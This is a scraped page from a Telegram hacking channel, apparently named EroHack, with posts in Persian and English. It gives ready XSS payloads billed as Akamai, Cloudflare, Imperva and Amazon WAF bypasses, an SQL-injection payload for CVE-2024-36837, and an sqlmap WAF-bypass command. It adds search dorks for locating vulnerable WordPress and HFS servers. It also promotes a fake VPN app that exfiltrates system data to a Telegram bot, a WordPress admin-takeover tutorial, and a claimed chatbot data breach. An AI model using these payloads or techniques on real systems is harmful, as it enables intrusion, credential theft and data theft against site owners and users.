Eʀᴏ ··ʜᴀᴄᴋ··

🔥

WAF AKAMAI Bypass
Lead to 30 XSS in large BBP

"><input type="hidden" oncontentvisibilityautostatechange="confirm(/Bypassed/)" style="content-visibility:auto">

#BugBounty #Tips #Waf

🔸

🌐

EroHack

👍

Boost

🖥

Twitter

Please open Telegram to view this post

VIEW IN TELEGRAM

🔥4👍1💯1🎃1🗿1👾1

3.31K viewsedited 17:07

آموزشی که قولش رو داده بودم

ارسال اطلاعات سیستم به بات تلگرامی در قالب آپ فیلترشکن💀
ری‌اکشن فراموش نشه👍
Training to send system information in the form of a secret filter breaking application. Don't forget
support and reaction.
Do not forget the reaction👍

🔹

🔺

🔹

🔺

🔹

🔺

🔹

🔺

🔹

⭐Erohack

💧

Boost

🐦

Twitter

Please open Telegram to view this post

VIEW IN TELEGRAM

🤯3🔥2👾2💯1🎃1

3.5K viewsedited 10:32

Eʀᴏ ··ʜᴀᴄᴋ··

source code.zip

2.9 KB

🔺

مربوط به آموزش بالا

🔹

password: @erohack0 ‌

Please open Telegram to view this post

VIEW IN TELEGRAM

🔥5⚡2👍1💯1

3.55K viewsedited 10:35

Eʀᴏ ··ʜᴀᴄᴋ··

😒

SQL Injection in WordPress Plugin

Fofa Query :: body="/wp-content/plugins/email-subscribers/" 2-
publicwww : "/wp-content/plugins/email-subscribers/"

#sql #sql_injection

🚫

🌐

EroHack

👍

Boost

🖥

Twitter

Please open Telegram to view this post

VIEW IN TELEGRAM

👍4🔥2⚡1💯1

3.44K viewsedited 15:37

Eʀᴏ ··ʜᴀᴄᴋ··

This media is not supported in the widget

VIEW IN TELEGRAM

Please open Telegram to view this post

VIEW IN TELEGRAM

👍6👎3🫡1

3.34K views15:08

Eʀᴏ ··ʜᴀᴄᴋ··

⭐️

CVE-2024-23692 POC - Unauthenticated RCE Flaw in Rejetto HTTP File Server

Fofa Dork: "HttpFileServer" && server=="HFS 2.3m"

🌐

Exploit

#Exploit #Cve #Poc

⚙

🌐

EroHack

👍

Boost

🖥

Twitter

Please open Telegram to view this post

VIEW IN TELEGRAM

👍3💯2🔥1🎃1👾1

3.55K views15:12

Eʀᴏ ··ʜᴀᴄᴋ··

🪱

CVE-2024-36837 - SQLI Injection

🔪Payload:

0-3661)%20OR%20MAKE_SET(8165=8165,7677)%20AND%20(4334=4334

#CVE #SQLI #Payload

✍️

✈️

EroHack

⭐

Boost

🖥

Twitter

Please open Telegram to view this post

VIEW IN TELEGRAM

🔥5💯1🎃1

3.58K viewsedited 08:20

Eʀᴏ ··ʜᴀᴄᴋ··

🪳

SQLmap Tamper Scripts - WAF bypass

sqlmap -u 'site.com/search.cmd?for…' --level=5 --risk=3 --tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes --no-cast --no-escape --dbs --random-agent

#WAF #Bypass #sqlmap

🚫

🌐

EroHack

👍

Boost

🖥

Twitter

Please open Telegram to view this post

VIEW IN TELEGRAM

👍7🎃3🔥1

2.85K viewsedited 07:41

Eʀᴏ ··ʜᴀᴄᴋ··

🪐

نفوذ به سایت وردپرسی با استفاده از پلاگین

توضیحات:

ما با استفاده از یک پلاگین وردپرس تونستیم به پنل پیشخوان وردپرس دسترسی پیدا کنیم و صفحه لاگین رو به بات تلگرام ارسال کنیم و یک یوزر با سطح دسترسی ادمین ایجاد کنیم.
Using the WordPress plugin, we were able to access the WordPress counter panel and send the login page to the Telegram bot and create a user with admin access
level.

🌟

برای آپلود آموزش ری‌اکشن فراموش نشه.

👁

React to embed the tutorial.

🔸

🌐

EroHack

👍

Boost

🖥

Twitter

Please open Telegram to view this post

VIEW IN TELEGRAM

👍19🔥3🤣3🫡3👾1

3.01K viewsedited 10:38

Eʀᴏ ··ʜᴀᴄᴋ··

🏔

Fuzzing Subdomain with WFUZZ

wfuzz -c -w subdomains -u "FUZZ[.]target" --sc 200,301,301,401 -Z

#bugbountytips #bugbounty

⚙

🌐

EroHack

👍

Boost

🖥

Twitter

Please open Telegram to view this post

VIEW IN TELEGRAM

🔥6👾2💯1

3.03K viewsedited 08:53

⚡️آموزش نفوذ به پنل وردپرس با پلاگین

توضیحات:

با استفاده از یک پلاگین ساده تونستیم آدرس صفحه لاگین ادمین رو پیدا کنیم و یک کاربر با سطح دسترسی ادمین ایجاد کنید.

#WordPress #hack #Payload

✍️

✈️

EroHack

⭐

Boost

🖥

Twitter

Please open Telegram to view this post

VIEW IN TELEGRAM

🔥5👍1🎃1🫡1👾1

3.57K viewsedited 09:14

Eʀᴏ ··ʜᴀᴄᴋ··

Security-WP.zip

1.4 KB

⚪️مربوط به پست بالا⚪️

pass: @erohack0

Please open Telegram to view this post

VIEW IN TELEGRAM

🤯7👍1💯1

3.68K viewsedited 09:18

Eʀᴏ ··ʜᴀᴄᴋ··

😠

SQLI Injection
CVE: 2024-36837

💻Payload: 0-3661)%20OR%20MAKE_SET(8165=8165,7677)%20AND%20(4334=4334

#BugBounty #Tips

🚫

🌐

EroHack

👍

Boost

🖥

Twitter

Please open Telegram to view this post

VIEW IN TELEGRAM

👍6💯1👾1

3.38K viewsedited 12:48

Eʀᴏ ··ʜᴀᴄᴋ··

😀

XSS in Office.com. The + made a difference.

Payload:‍‍‍

`'>+<script>alert()</script>`

#BugBounty #Tips #XSS

⚙

🌐

EroHack

👍

Boost

🖥

Twitter

Please open Telegram to view this post

VIEW IN TELEGRAM

🔥8💯2🎃1

3.89K views07:23

Eʀᴏ ··ʜᴀᴄᴋ··

🔥CLOUDFLARE BYPASS (Xss)

🖥PAYLOAD:

<Svg Only=1 OnLoad=confirm(atob("Q2xvdWRmbGFyZSBCeXBhc3NlZCA6KQ=="))>

#Bypass #Xss #cloudflare

✍️

🔝

EroHack

💜

Boost

🖥

Twitter

Please open Telegram to view this post

VIEW IN TELEGRAM

🔥5👍2💯2🫡1

4.68K views13:25

Eʀᴏ ··ʜᴀᴄᴋ··

This media is not supported in your browser

VIEW IN TELEGRAM

0:07

4.18K views20:57

🤨10🗿2👎1🔥1😐1

Eʀᴏ ··ʜᴀᴄᴋ··

Video message

سلام درود🫡
محتوای ویدئو مسیج بالا اینکه دیروز من تونستم به اطلاعات یک ربات چت ناشناس نفوذ کنم و دیتا رو بیرون بکشم.
میتونید از لینک زیر رایت‌آپ رو بخونید
و استفاده کنید.

hello everyone
The content of the video message above is that yesterday I was able to hack into an anonymous chatbot and mine the data.
You can read and use the article from the link below.

write-up:

https://medium.com/@EroHack/write-up-telegram-anonymous-chat-hack-bot-ad3497f813ed

برای قرار دادن آموزش ری‌اکشن بزنید.🙌🏻
React to insert tutorial.🙌🏻

🔥17😐3🎃3👍1👾1

4.01K viewsedited 10:57

Eʀᴏ ··ʜᴀᴄᴋ··

XSS WAF Bypass:

Imperva

<details/open/id="&quote;"ontoggle=[JS]>

Amazon

<details/open/id="&quote;"ontoggle=[JS]>

Akamai

<details open id="' &quote;'"ontoggle=[JS]>

➖➖➖➖➖➖➖➖➖➖
☢EroHack
🗯Boost
📣Twitter

👍6⚡1🤨1

4.79K viewsedited 17:43

Eʀᴏ ··ʜᴀᴄᴋ··

Eʀᴏ ··ʜᴀᴄᴋ·· pinned «سلام درود🫡 محتوای ویدئو مسیج بالا اینکه دیروز من تونستم به اطلاعات یک ربات چت ناشناس نفوذ کنم و دیتا رو بیرون بکشم. میتونید از لینک زیر رایت‌آپ رو بخونید و استفاده کنید. hello everyone The content of the video message above is that yesterday I was able…»

09:31

Eʀᴏ ··ʜᴀᴄᴋ··

⚠️AngularJS Client-Side Template Injection as XSS payload for 1.2.24-1.2.29

{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}

#Xss #Payload
➖➖➖➖➖➖➖➖➖➖
☢EroHack
🗯Boost
📣Twitter

🔥5⚡1👍1💯1🤨1

4.72K views10:06

☠Introducing the "VulnScan" tool

توضیحات:

ابزار "VulnScan" یک که در زمینه جمع آوری اطلاعات از یک سایت طراحی شده و به شما کمک میکنه اطلاعات مهمی از تارگت خودتون پیدا کنید.
امکانت ابزار از جمله پورت‌اسکن، آسیب پذیری باگ LFI، آسیب پذیری باگ XSS و غیره است.
اطلاعات تکمیلی رو میتونید در فیلم بالا مشاهده کنید.
برای تهیه ابزار میتونید به آیدی زیر پیام بدید.

Description:

The VulnScan tool is designed to gather information from a site and help you find important information about your target.
Features of this tool include port scanning, "LFI" bug vulnerability, "XSS" bug vulnerability, etc.
Additional information can be seen in the video above.
To get the tool, you can send a message to the following address. There is a discount for the first ten people.

#tool #webhacking #bugbounty #XSS
➖➖➖➖➖➖➖➖➖➖
🆔 @gorunero
☢EroHack
🗯Boost
📣Twitter

👍8🔥2👾1

6.57K views12:07

About

Blog

Apps

Platform